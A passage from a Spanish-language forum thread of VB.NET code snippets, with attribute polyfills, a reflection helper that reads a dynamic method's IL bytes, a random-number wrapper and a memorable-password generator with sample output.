  88.        ''' ----------------------------------------------------------------------------------------------------
  89.        ''' <param name="platformName">
  90.        ''' The obsoleted OS platform name that this attribute applies to,
  91.        ''' optionally including a version (eg. "windows7.0").
  92.        ''' </param>
  93.        '''
  94.        ''' <param name="message">
  95.        ''' Additional information about the obsoletion, for example,
  96.        ''' a message that mostly suggests an alternative for the obsoleted API.
  97.        ''' </param>
  98.        ''' ----------------------------------------------------------------------------------------------------
  99.        Public Sub New(platformName As String, message As String)
  100.            Me.PlatformName = platformName
  101.            Me.Message = message
  102.        End Sub
  103.  
  104.    End Class
  105.  
  106. End Namespace
  107.  
  108. #End If
  109.  



TargetPlatformAttribute.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 23-June-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. #End Region
  17.  
  18. #If Not NETCOREAPP Then
  19.  
  20. Namespace DevCase.Runtime.Attributes
  21.  
  22.    ''' ----------------------------------------------------------------------------------------------------
  23.    ''' <summary>
  24.    ''' This attribute class is solely intended to simulate and therefore preserve the
  25.    ''' 'System.Runtime.Versioning.TargetPlatformAttribute' attribute class when migrating projects to .NET Core.
  26.    ''' <para></para>
  27.    ''' This attribute class specifies the operating system that a project targets, for example, Windows or iOS.
  28.    ''' </summary>
  29.    ''' ----------------------------------------------------------------------------------------------------
  30.    ''' <remarks>
  31.    ''' For more information, see <see href="https://learn.microsoft.com/en-us/dotnet/api/system.runtime.versioning.targetplatformattribute">TargetPlatformAttribute Class</see>.
  32.    ''' </remarks>
  33.    ''' ----------------------------------------------------------------------------------------------------
  34.    ''' <seealso cref="System.Attribute" />
  35.    ''' ----------------------------------------------------------------------------------------------------
  36.    <AttributeUsage(AttributeTargets.Assembly, AllowMultiple:=False, Inherited:=False)>
  37.    Public NotInheritable Class TargetPlatformAttribute : Inherits Attribute
  38.  
  39.        ''' ----------------------------------------------------------------------------------------------------
  40.        ''' <summary>
  41.        ''' Gets the target OS platform name that this attribute applies to (eg. "windows").
  42.        ''' </summary>
  43.        ''' ----------------------------------------------------------------------------------------------------
  44.        Public ReadOnly Property PlatformName As String
  45.  
  46.        ''' ----------------------------------------------------------------------------------------------------
  47.        ''' <summary>
  48.        ''' Initializes a new instance of the <see cref="TargetPlatformAttribute"/> attribute class
  49.        ''' for the specified target OS platform.
  50.        ''' </summary>
  51.        ''' ----------------------------------------------------------------------------------------------------
  52.        ''' <param name="platformName">
  53.        ''' The target OS platform name that this attribute applies to (eg. "windows").
  54.        ''' </param>
  55.        ''' ----------------------------------------------------------------------------------------------------
  56.        Public Sub New(platformName As String)
  57.            Me.PlatformName = platformName
  58.        End Sub
  59.  
  60.    End Class
  61.  
  62. End Namespace
  63.  
  64. #End If
  65.  



ModuleInitializerAttribute.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 23-June-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. #End Region
  17.  
  18. #If Not NETCOREAPP Then
  19.  
  20. Namespace DevCase.Runtime.Attributes
  21.  
  22.    ''' ----------------------------------------------------------------------------------------------------
  23.    ''' <summary>
  24.    ''' This attribute class is solely intended to simulate and therefore preserve the
  25.    ''' 'System.Runtime.CompilerServices.ModuleInitializerAttribute' attribute class when migrating projects to .NET Core.
  26.    ''' <para></para>
  27.    ''' This attribute indicates to the compiler that a method should be called in its containing module's initializer.
  28.    ''' </summary>
  29.    ''' ----------------------------------------------------------------------------------------------------
  30.    ''' <remarks>
  31.    ''' For more information, see <see href="https://learn.microsoft.com/en-us/dotnet/api/system.runtime.compilerservices.moduleinitializerattribute">ModuleInitializerAttribute Class</see>.
  32.    ''' <para></para>
  33.    ''' When one or more valid methods with this attribute are found in a compilation,
  34.    ''' the compiler will emit a module initializer that calls each of the attributed methods.
  35.    ''' </remarks>
  36.    ''' ----------------------------------------------------------------------------------------------------
  37.    ''' <seealso cref="System.Attribute" />
  38.    ''' ----------------------------------------------------------------------------------------------------
  39.    <AttributeUsage(AttributeTargets.Method, AllowMultiple:=False, Inherited:=False)>
  40.    Public NotInheritable Class ModuleInitializerAttribute : Inherits Attribute
  41.  
  42.        ''' ----------------------------------------------------------------------------------------------------
  43.        ''' <summary>
  44.        ''' Initializes a new instance of the <see cref="ModuleInitializerAttribute"/> attribute class.
  45.        ''' </summary>
  46.        ''' ----------------------------------------------------------------------------------------------------
  47.        Public Sub New()
  48.        End Sub
  49.  
  50.    End Class
  51.  
  52. End Namespace
  53.  
  54. #End If
  55.  



SkipLocalsInitAttribute.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 23-June-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. #End Region
  17.  
  18. #If Not NETCOREAPP Then
  19.  
  20. Namespace DevCase.Runtime.Attributes
  21.  
  22.    ''' ----------------------------------------------------------------------------------------------------
  23.    ''' <summary>
  24.    ''' This attribute class is solely intended to simulate and therefore preserve the
  25.    ''' 'System.Runtime.CompilerServices.SkipLocalsInitAttribute' attribute class when migrating projects to .NET Core.
  26.    ''' <para></para>
  27.    ''' This attribute indicates to the compiler that the .locals init flag should not be set
  28.    ''' in nested method headers when emitting to metadata.
  29.    ''' </summary>
  30.    ''' ----------------------------------------------------------------------------------------------------
  31.    ''' <remarks>
  32.    ''' For more information, see <see href="https://learn.microsoft.com/en-us/dotnet/api/system.runtime.compilerservices.skiplocalsinitattribute">SkipLocalsInitAttribute Class</see>.
  33.    ''' <para></para>
  34.    ''' This attribute is unsafe, because it may reveal uninitialized memory to the application in certain instances
  35.    ''' (for example, reading from uninitialized stack-allocated memory).
  36.    ''' <para></para>
  37.    ''' If applied to a method directly, the attribute applies to that method and all its nested functions,
  38.    ''' including lambdas and local functions.
  39.    ''' <para></para>
  40.    ''' If applied to a type or module, it applies to all methods nested inside.
  41.    ''' <para></para>
  42.    ''' This attribute is intentionally not permitted on assemblies.
  43.    ''' <para></para>
  44.    ''' To apply the attribute to multiple type declarations, use it at the module level instead.
  45.    ''' </remarks>
  46.    ''' ----------------------------------------------------------------------------------------------------
  47.    ''' <seealso cref="System.Attribute" />
  48.    ''' ----------------------------------------------------------------------------------------------------
  49.    <AttributeUsage(AttributeTargets.Class Or
  50.                    AttributeTargets.Constructor Or
  51.                    AttributeTargets.Event Or
  52.                    AttributeTargets.Interface Or
  53.                    AttributeTargets.Method Or
  54.                    AttributeTargets.Module Or
  55.                    AttributeTargets.Property Or
  56.                    AttributeTargets.Struct,
  57.    AllowMultiple:=False, Inherited:=False)>
  58.    Public NotInheritable Class SkipLocalsInitAttribute : Inherits Attribute
  59.  
  60.        ''' ----------------------------------------------------------------------------------------------------
  61.        ''' <summary>
  62.        ''' Initializes a new instance of the <see cref="SkipLocalsInitAttribute"/> attribute class.
  63.        ''' </summary>
  64.        ''' ----------------------------------------------------------------------------------------------------
  65.        Public Sub New()
  66.        End Sub
  67.  
  68.    End Class
  69.  
  70. End Namespace
  71.  
  72. #End If
  73.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 06:45 am
He escrito este código que permite obtener el código IL (Intermediate Language Code) de un método dinámico para posteriormente manipularlo mediante un array de bytes:

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Returns the MSIL for the method body of the source <see cref="DynamicMethod"/>, as an array of bytes.
  4. ''' <para></para>
  5. ''' This is the necessary equivalent for <see cref="MethodBody.GetILCodeAsByteArray()"/> function,
  6. ''' because <see cref="MethodBody.GetILCodeAsByteArray()"/> will not work with the method body returned by
  7. ''' an <see cref="DynamicMethod.GetMethodBody()"/> function since the IL code is stored in
  8. ''' the MethodBuilder's ILGenerator.
  9. ''' </summary>
  10. ''' ----------------------------------------------------------------------------------------------------
  11. ''' <example> This is a code example #1.
  12. ''' <code language="VB.NET">
  13. ''' Dim dynMethod As New DynamicMethod("my_dynamic_method_name", Nothing, Type.EmptyTypes, restrictedSkipVisibility:=True)
  14. ''' Dim ilGen As ILGenerator = dynMethod.GetILGenerator(streamSize:=64)
  15. ''' ilGen.Emit(OpCodes.Nop)
  16. '''
  17. ''' Dim ilCode As Byte() = GetILCodeAsByteArray(dynMethod)
  18. ''' </code>
  19. ''' </example>
  20. ''' ----------------------------------------------------------------------------------------------------
  21. ''' <example> This is a code example #2.
  22. ''' <code language="VB.NET">
  23. ''' ' Create a simple dynamic method that has no parameters and does not return a value.
  24. ''' Dim dynMethod As New DynamicMethod("my_dynamic_method_name", Nothing, Type.EmptyTypes, restrictedSkipVisibility:=True)
  25. '''
  26. ''' ' Get an ILGenerator and emit a body for the dynamic method.
  27. ''' Dim il As ILGenerator = dynMethod.GetILGenerator(streamSize:=64)
  28. ''' il.Emit(OpCodes.Nop)
  29. ''' il.Emit(OpCodes.Ret)
  30. '''
  31. ''' ' Completes the dynamic method and creates a delegate that can be used to execute it.
  32. ''' ' Any further attempts to change the IL code will cause an exception.
  33. ''' Dim dynMethodInvoker As Action = CType(dynMethod.CreateDelegate(GetType(Action)), Action)
  34. '''
  35. ''' ' Get the IL code.
  36. ''' Dim ilCode As Byte() = GetILCodeAsByteArray(dynMethod)
  37. '''
  38. ''' Console.WriteLine($"Method body's IL bytes: {String.Join(", ", ilCode)}")
  39. ''' </code>
  40. ''' </example>
  41. ''' ----------------------------------------------------------------------------------------------------
  42. ''' <param name="dynMethod">
  43. ''' The source <see cref="DynamicMethod"/>.
  44. ''' </param>
  45. ''' ----------------------------------------------------------------------------------------------------
  46. ''' <returns>
  47. ''' The MSIL for the method body of the source <see cref="DynamicMethod"/>, as an array of bytes.
  48. ''' </returns>
  49. ''' ----------------------------------------------------------------------------------------------------
  50. <DebuggerStepThrough>
  51. <Extension>
  52. <EditorBrowsable(EditorBrowsableState.Always)>
  53. Public Function GetILCodeAsByteArray(dynMethod As DynamicMethod) As Byte()
  54.  
  55.    Dim bindingFlags As BindingFlags = BindingFlags.Instance Or BindingFlags.NonPublic
  56.  
  57.    ' First we try to retrieve the value of "m_resolver" field,
  58.    ' which will always be null unless the dynamic method is completed
  59.    ' by either calling 'dynMethod.CreateDelegate()' or 'dynMethod.Invoke()' function.
  60.    ' Source: https://learn.microsoft.com/en-us/dotnet/api/system.reflection.emit.dynamicmethod.getilgenerator
  61.    ' (in remarks section)
  62.  
  63.    ' Note that the dynamic method object does not know when it is ready for use
  64.    ' since there is not API which indicates that IL generation has completed.
  65.    ' Source: https://referencesource.microsoft.com/#mscorlib/system/reflection/emit/dynamicmethod.cs,7fc135a2ceea0854,references
  66.    ' (in commentary lines)
  67.  
  68.    Dim resolver As Object = GetType(DynamicMethod).GetField("m_resolver", bindingFlags).GetValue(dynMethod)
  69.    If resolver IsNot Nothing Then
  70.        Return DirectCast(resolver.GetType().GetField("m_code", bindingFlags).GetValue(resolver), Byte())
  71.  
  72.    Else
  73.        ' So, if the dynamic method is not completed, we will retrieve the "m_ILStream" field instead.
  74.        ' The only difference I notice between "m_resolver" and "m_ILStream" fields is that the IL bytes in "m_ILStream"
  75.        ' will have trailing zeros / null bytes depending on the amount of unused bytes in this stream.
  76.        ' ( The buffer size for "m_ILStream" is allocated by a call to 'dynMethod.GetILGenerator(streamSize)' function. )
  77.  
  78.        Dim ilGen As ILGenerator = dynMethod.GetILGenerator()
  79.  
  80.        ' Conditional for .NET 4.x because DynamicILGenerator class derived from ILGenerator.
  81.        ' Source: https://stackoverflow.com/a/4147132/1248295
  82.        Dim ilStream As FieldInfo = If(Environment.Version.Major >= 4,
  83.            ilGen.GetType().BaseType.GetField("m_ILStream", bindingFlags),
  84.            ilGen.GetType().GetField("m_ILStream", bindingFlags))
  85.  
  86.        Return TryCast(ilStream.GetValue(ilGen), Byte())
  87.    End If
  88.  
  89. End Function

Ejemplo de uso:

Código
  1. Dim dynMethod As New DynamicMethod("my_dynamic_method_name", Nothing, Type.EmptyTypes, restrictedSkipVisibility:=True)
  2. Dim ilGen As ILGenerator = dynMethod.GetILGenerator(streamSize:=64)
  3. ilGen.Emit(OpCodes.Nop)
  4.  
  5. Dim ilCode As Byte() = GetILCodeAsByteArray(dynMethod)


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 07:32 am
Un sustituto de la clase System.Random para generar números aleatorios.

Ejemplo de uso:

Código
  1. RandomNumberGenerator.Instance.Next(0, 10)



RandomNumberGenerator.vb

Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 25-November-2022
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. Imports System.Security.Cryptography
  17.  
  18. #End Region
  19.  
  20. #Region " RandomNumberGenerator "
  21.  
  22. ' ReSharper disable once CheckNamespace
  23.  
  24. Namespace DevCase.Runtime.Numerics
  25.  
  26.    ''' ----------------------------------------------------------------------------------------------------
  27.    ''' <summary>
  28.    ''' Wrapper class for thread-safe generation of pseudo-random numbers.
  29.    ''' <para></para>
  30.    ''' Lazy-load singleton for ThreadStatic <see cref="Random"/>.
  31.    ''' </summary>
  32.    ''' ----------------------------------------------------------------------------------------------------
  33.    <CodeAnalysis.SuppressMessage("CodeQuality", "IDE0079:Remove unnecessary suppression", Justification:="Required to migrate this code to .NET Core")>
  34.    Public Class RandomNumberGenerator
  35.  
  36. #Region " Private Fields "
  37.  
  38.        ''' ----------------------------------------------------------------------------------------------------
  39.        ''' <summary>
  40.        ''' The <see cref="Random"/> instance for generation of pseudo-random numbers.
  41.        ''' </summary>
  42.        ''' ----------------------------------------------------------------------------------------------------
  43.        <ThreadStatic>
  44.        Private Shared RNG As Random
  45.  
  46. #End Region
  47.  
  48. #Region " Properties "
  49.  
  50.        ''' ----------------------------------------------------------------------------------------------------
  51.        ''' <summary>
  52.        ''' Gets a <see cref="Random"/> instance for generation of pseudo-random numbers.
  53.        ''' </summary>
  54.        ''' ----------------------------------------------------------------------------------------------------
  55.        Public Shared ReadOnly Property Instance As Random
  56.            Get
  57.                If RandomNumberGenerator.RNG Is Nothing Then
  58.                    Dim buffer As Byte() = New Byte(3) {}
  59. #Disable Warning SYSLIB0023 ' Type or member is obsolete
  60.                    Using rngProvider As New RNGCryptoServiceProvider()
  61.                        rngProvider.GetBytes(buffer)
  62.                        RandomNumberGenerator.RNG = New Random(Seed:=BitConverter.ToInt32(buffer, 0))
  63.                    End Using
  64. #Enable Warning SYSLIB0023 ' Type or member is obsolete
  65.                End If
  66.  
  67.                Return RandomNumberGenerator.RNG
  68.            End Get
  69.        End Property
  70.  
  71. #End Region
  72.  
  73.    End Class
  74.  
  75. End Namespace
  76.  
  77. #End Region



Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 07:55 am
Les presento mi GENERADOR DE CONTRASEÑAS MEMORIZABLES.

Inspirado en el proyecto: https://xkpasswd.net/s/ y https://www.bartbusschots.ie/s/publications/software/xkpasswd/

Ejemplo de uso:
Código
  1. Dim options As New MemorablePasswordOptions With {
  2.    .NumberOfWords = 3,
  3.    .MinimumWordLength = 4,
  4.    .MaximumWordLength = 8,
  5.    .SeparatorCharacters = "._-+".ToCharArray(),
  6.    .StringCase = MemorablePasswordStringCase.TitleCase,
  7.    .FixedPrefix = Nothing,
  8.    .FixedSuffix = "!",
  9.    .NumberOfDigitsPrefix = 0,
  10.    .NumberOfDigitsSuffix = 3
  11. }
  12.  
  13. Dim wordList As String() = System.IO.File.ReadAllLines(".\words.txt", Encoding.Default)
  14.  
  15. For i As Integer = 0 To 10
  16.    Dim password As String = UtilPasswords.GenerateMemorablePassword(options, wordList)
  17.    Console.WriteLine(password)
  18. Next

Salida:
Código:
Actor+Teaching_Spring-174!
Example_Hotel_Slavery_861!
Maximum-Accuse_Offense.016!
Banana.China.Baseball-154!
Attach+Wash-Wagon+647!
Consumer+Allow.Boom-946!
Employ+Lose+Opinion_106!
Feel.Carbon.Focus+176!
Candy-Remove+Kick+581!
Internal-Buddy_Wide-280!
Serious-Everyone+Approve-522!

El tipo y estructura de la contraseña se puede personalizar mediante el objeto de tipo MemorablePasswordOptions para adaptarlo a su gusto y necesidades.



Clase principal, UtilPasswords.vb

Código
  1. Imports DevCase.Core.DataProcessing.Common
  2. Imports DevCase.Core.Security.Passwords
  3. Imports DevCase.Extensions
  4. Imports DevCase.Runtime.Numerics
  5.  
  6. Imports System.Text
  7.  
  8. Public Class UtilPasswords
  9.  
  10.    ''' ----------------------------------------------------------------------------------------------------
  11.    ''' <summary>
  12.    ''' Generates a memorable password based on the provided options and word list.
  13.    ''' <para></para>
  14.    ''' A memorable password is a type of password that is designed to be easy to remember,
  15.    ''' while still providing a reasonable level of security.
  16.    ''' <para></para>
  17.    ''' It is a password generation methodology that aims to be recalled by the user
  18.    ''' without the need for written notes or  relying solely on password managers.
  19.    ''' <para></para>
  20.    ''' The concept behind a memorable password is to create a combination of words, phrases,
  21.    ''' or memorable patterns that are personally meaningful to the user.
  22.    ''' This can include using familiar words, personal information,
  23.    ''' or unique combinations that have personal significance.
  24.    ''' <para></para>
  25.    ''' The goal is to create a password that is both secure and memorable,
  26.    ''' striking a balance between convenience and protection.
  27.    ''' </summary>
  28.    ''' ----------------------------------------------------------------------------------------------------
  29.    ''' <remarks>
  30.    ''' The generated password by this function follows the following format:
  31.    ''' (FixedPrefix)(DigitsPrefix+Separator)(Words+Separators)(Separator+DigitsSuffix)(FixedSuffix)
  32.    ''' </remarks>
  33.    ''' ----------------------------------------------------------------------------------------------------
  34.    ''' <example> This is a code example.
  35.    ''' <code language="VB.NET">
  36.    ''' Dim options As New MemorablePasswordOptions With {
  37.    '''     .NumberOfWords = 3,
  38.    '''     .MinimumWordLength = 4,
  39.    '''     .MaximumWordLength = 8,
  40.    '''     .SeparatorCharacters = "._-+".ToCharArray(),
  41.    '''     .StringCase = MemorablePasswordStringCase.TitleCase,
  42.    '''     .FixedPrefix = Nothing,
  43.    '''     .FixedSuffix = "!",
  44.    '''     .NumberOfDigitsPrefix = 0,
  45.    '''     .NumberOfDigitsSuffix = 3
  46.    ''' }
  47.    '''
  48.    ''' Dim wordList As String() = System.IO.File.ReadAllLines(".\words.txt", Encoding.Default)
  49.    '''
  50.    ''' For i As Integer = 0 To 10
  51.    '''     Dim password As String = GenerateMemorablePassword(options, wordList)
  52.    '''     Console.WriteLine(password)
  53.    ''' Next
  54.    ''' </code>
  55.    ''' </example>
  56.    ''' ----------------------------------------------------------------------------------------------------
  57.    ''' <param name="options">
  58.    ''' The options for generating the memorable password.
  59.    ''' </param>
  60.    '''
  61.    ''' <param name="wordList">
  62.    ''' The list of words to choose from.
  63.    ''' </param>
  64.    ''' ----------------------------------------------------------------------------------------------------
  65.    ''' <returns>
  66.    ''' The resulting memorable password.
  67.    ''' </returns>
  68.    ''' ----------------------------------------------------------------------------------------------------
  69.    <DebuggerStepThrough>
  70.    Public Shared Function GenerateMemorablePassword(options As MemorablePasswordOptions, wordList As IEnumerable(Of String)) As String
  71.  
  72.        If options.NumberOfDigitsPrefix < 0 Then
  73.            Throw New InvalidOperationException(
  74.                $"Value of property: '{NameOf(options)}.{options.NumberOfDigitsPrefix}' must be zero or greather.")
  75.        End If
  76.  
  77.        If options.NumberOfDigitsSuffix < 0 Then
  78.            Throw New InvalidOperationException(
  79.                $"Value of property: '{NameOf(options)}.{options.NumberOfDigitsSuffix}' must be zero or greather.")
  80.        End If
  81.  
  82.        Dim filteredWords As IEnumerable(Of String) =
  83.            wordList.Where(Function(word As String)
  84.                               Return word.Length >= options.MinimumWordLength AndAlso
  85.                                      word.Length <= options.MaximumWordLength
  86.                           End Function)
  87.  
  88.        Dim filteredWordsCount As Integer = filteredWords.Count
  89.        If filteredWordsCount = 0 Then
  90.            Throw New InvalidOperationException(
  91.                "The provided word list does not contain any word between the " &
  92.                "minimum and maximum word length specified in properties: " &
  93.                $"'{options}.{options.MinimumWordLength}' and '{options}.{options.MaximumWordLength}'.")
  94.        End If
  95.        If filteredWordsCount < options.NumberOfWords Then
  96.            Throw New InvalidOperationException(
  97.                "The provided word list does not contain the" &
  98.                $"enough number of words specified in property: '{options}.{options.NumberOfWords}'.")
  99.        End If
  100.  
  101.        Dim selectedWords As New HashSet(Of String)
  102.        Do Until selectedWords.Count = options.NumberOfWords
  103.            selectedWords.Add(filteredWords(RandomNumberGenerator.Instance.Next(0, filteredWordsCount)))
  104.        Loop
  105.  
  106.        Dim separatorsCount As Integer
  107.        If options.SeparatorCharacters IsNot Nothing Then
  108.            separatorsCount = options.SeparatorCharacters.Length
  109.        End If
  110.  
  111.        Const digits As String = "1234567890"
  112.  
  113.        Dim sb As New StringBuilder()
  114.  
  115.        ' 1. Append the fixed prefix if provided.
  116.        sb.Append(options.FixedPrefix)
  117.  
  118.        ' 2. Append a prefix of digits if provided, and a separator if provided.
  119.        If options.NumberOfDigitsPrefix <> 0 Then
  120.            For i As Integer = 0 To options.NumberOfDigitsPrefix - 1
  121.                sb.Append(digits(RandomNumberGenerator.Instance.Next(0, digits.Length)))
  122.            Next
  123.            If options.SeparatorCharacters IsNot Nothing AndAlso separatorsCount <> 0 Then
  124.                sb.Append(options.SeparatorCharacters(RandomNumberGenerator.Instance.Next(0, separatorsCount)))
  125.            End If
  126.        End If
  127.  
  128.        ' 3. Append the selected words, together with the word separators if provided.
  129.        Dim selectedWordsCount As Integer = selectedWords.Count
  130.        For i As Integer = 0 To selectedWordsCount - 1
  131.            sb.Append(StringExtensions.Rename(selectedWords(i), CType(options.StringCase, StringCase)))
  132.            If i <> (selectedWordsCount - 1) Then
  133.                If options.SeparatorCharacters IsNot Nothing AndAlso separatorsCount <> 0 Then
  134.                    sb.Append(options.SeparatorCharacters(RandomNumberGenerator.Instance.Next(0, separatorsCount)))
  135.                End If
  136.            End If
  137.        Next
  138.  
  139.        ' 4. Append a separator if provided, and a suffix of digits if provided.
  140.        If options.NumberOfDigitsSuffix <> 0 Then
  141.            If options.SeparatorCharacters IsNot Nothing AndAlso separatorsCount <> 0 Then
  142.                sb.Append(options.SeparatorCharacters(RandomNumberGenerator.Instance.Next(0, separatorsCount)))
  143.            End If
  144.            For i As Integer = 0 To options.NumberOfDigitsSuffix - 1
  145.                sb.Append(digits(RandomNumberGenerator.Instance.Next(0, digits.Length)))
  146.            Next
  147.        End If
  148.  
  149.        ' 5. Append the fixed suffix if provided.
  150.        sb.Append(options.FixedSuffix)
  151.  
  152.        ' (FixedPrefix)(DigitsPrefix+Separator)(Words+Separators)(Separator+DigitsSuffix)(FixedSuffix)
  153.        Return sb.ToString()
  154.  
  155.    End Function
  156.  
  157. End Class



RandomNumberGenerator.vb
https://foro.elhacker.net/net_c_vbnet_asp/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2272581#msg2272581



MemorablePasswordOptions.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 14-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. #End Region
  17.  
  18. #Region " UtilPasswords "
  19.  
  20. ' ReSharper disable once CheckNamespace
  21.  
  22. Namespace DevCase.Core.Security.Passwords
  23.  
  24.    ''' ----------------------------------------------------------------------------------------------------
  25.    ''' <summary>
  26.    ''' Represents the options for generating a memorable password
  27.    ''' with <see cref="UtilPasswords.GenerateMemorablePassword"/> function.
  28.    ''' </summary>
  29.    ''' ----------------------------------------------------------------------------------------------------
  30.    Public Class MemorablePasswordOptions
  31.  
  32. #Region " Properties "
  33.  
  34.        ''' ----------------------------------------------------------------------------------------------------
  35.        ''' <summary>
  36.        ''' Gets or sets the number of words to include in the password.
  37.        ''' </summary>
  38.        ''' ----------------------------------------------------------------------------------------------------
  39.        Public Property NumberOfWords As Integer
  40.  
  41.        ''' ----------------------------------------------------------------------------------------------------
  42.        ''' <summary>
  43.        ''' Gets or sets the minimum length of a word to consider for the password.
  44.        ''' </summary>
  45.        ''' ----------------------------------------------------------------------------------------------------
  46.        Public Property MinimumWordLength As Integer
  47.  
  48.        ''' ----------------------------------------------------------------------------------------------------
  49.        ''' <summary>
  50.        ''' Gets or sets the maximum length of a word to consider for the password.
  51.        ''' </summary>
  52.        ''' ----------------------------------------------------------------------------------------------------
  53.        Public Property MaximumWordLength As Integer
  54.  
  55.        ''' ----------------------------------------------------------------------------------------------------
  56.        ''' <summary>
  57.        ''' Gets or sets the characters to use as separators between words.
  58.        ''' </summary>
  59.        ''' ----------------------------------------------------------------------------------------------------
  60.        Public Property SeparatorCharacters As Char()
  61.  
  62.        ''' ----------------------------------------------------------------------------------------------------
  63.        ''' <summary>
  64.        ''' Gets or sets the prefix to prepend to the password.
  65.        ''' </summary>
  66.        ''' ----------------------------------------------------------------------------------------------------
  67.        Public Property FixedPrefix As String
  68.  
  69.        ''' ----------------------------------------------------------------------------------------------------
  70.        ''' <summary>
  71.        ''' Gets or sets the suffix to append to the password.
  72.        ''' </summary>
  73.        ''' ----------------------------------------------------------------------------------------------------
  74.        Public Property FixedSuffix As String
  75.  
  76.        ''' ----------------------------------------------------------------------------------------------------
  77.        ''' <summary>
  78.        ''' Gets or sets the number of digits to include as a prefix to the password
  79.        ''' (after prepending <see cref="MemorablePasswordOptions.FixedPrefix"/>).
  80.        ''' </summary>
  81.        ''' ----------------------------------------------------------------------------------------------------
  82.        Public Property NumberOfDigitsPrefix As Integer
  83.  
  84.        ''' ----------------------------------------------------------------------------------------------------
  85.        ''' <summary>
  86.        ''' Gets or sets the number of digits to include as a suffix to the password
  87.        ''' (before appending <see cref="MemorablePasswordOptions.FixedSuffix"/>).
  88.        ''' </summary>
  89.        ''' ----------------------------------------------------------------------------------------------------
  90.        Public Property NumberOfDigitsSuffix As Integer
  91.  
  92.        ''' ----------------------------------------------------------------------------------------------------
  93.        ''' <summary>
  94.        ''' Gets or sets the case of the words in the password.
  95.        ''' </summary>
  96.        ''' ----------------------------------------------------------------------------------------------------
  97.        Public Property StringCase As MemorablePasswordStringCase
  98.  
  99. #End Region
  100.  
  101. #Region " Constructors "
  102.  
  103.        ''' ----------------------------------------------------------------------------------------------------
  104.        ''' <summary>
  105.        ''' Initializes a new instance of the <see cref="MemorablePasswordOptions"/> class.
  106.        ''' </summary>
  107.        ''' ----------------------------------------------------------------------------------------------------
  108.        Public Sub New()
  109.        End Sub
  110.  
  111. #End Region
  112.    End Class
  113.  
  114. End Namespace
  115.  
  116. #End Region
  117.  



MemorablePasswordStringCase.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 14-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. Imports DevCase.Core.DataProcessing.Common
  17.  
  18. #End Region
  19.  
  20. #Region " MemorablePasswordStringCase "
  21.  
  22. ' ReSharper disable once CheckNamespace
  23.  
  24. Namespace DevCase.Core.Security.Passwords
  25.  
  26.    ''' <summary>
  27.    ''' Specifies the string-case of the words in a memorable password.
  28.    ''' </summary>
  29.    Public Enum MemorablePasswordStringCase
  30.  
  31.        ''' <summary>
  32.        ''' Changes all characters to lower-case.
  33.        ''' <para></para>
  34.        '''
  35.        ''' [Example]
  36.        ''' <para></para>
  37.        ''' Input : ABCDEF
  38.        ''' <para></para>
  39.        ''' Output: abcdef
  40.        ''' </summary>
  41.        LowerCase = StringCase.LowerCase
  42.  
  43.        ''' <summary>
  44.        ''' Changes all characters to upper-case.
  45.        ''' <para></para>
  46.        '''
  47.        ''' [Example]
  48.        ''' <para></para>
  49.        ''' Input : abcdef
  50.        ''' <para></para>
  51.        ''' Output: ABCDEF
  52.        ''' </summary>
  53.        UpperCase = StringCase.UpperCase
  54.  
  55.        ''' <summary>
  56.        ''' Changes the first characters to upper-case,
  57.        ''' and the rest of characters to lower-case.
  58.        ''' <para></para>
  59.        '''
  60.        ''' [Example]
  61.        ''' <para></para>
  62.        ''' Input : abcdef
  63.        ''' <para></para>
  64.        ''' Output: Abcdef
  65.        ''' </summary>
  66.        TitleCase = StringCase.TitleCase
  67.  
  68.        ''' <summary>
  69.        ''' Mixed-case with first character to lower-case.
  70.        ''' <para></para>
  71.        '''
  72.        ''' [Example]
  73.        ''' <para></para>
  74.        ''' Input : ab cd ef
  75.        ''' <para></para>
  76.        ''' Output: aB Cd eF
  77.        ''' </summary>
  78.        MixedTitleCaseLower = StringCase.MixedTitleCaseLower
  79.  
  80.        ''' <summary>
  81.        ''' Mixed-case with first character to upper-case.
  82.        ''' <para></para>
  83.        '''
  84.        ''' [Example]
  85.        ''' <para></para>
  86.        ''' Input : ab cd ef
  87.        ''' <para></para>
  88.        ''' Output: Ab cD Ef
  89.        ''' </summary>
  90.        MixedTitleCaseUpper = StringCase.MixedTitleCaseUpper
  91.  
  92.        ''' <summary>
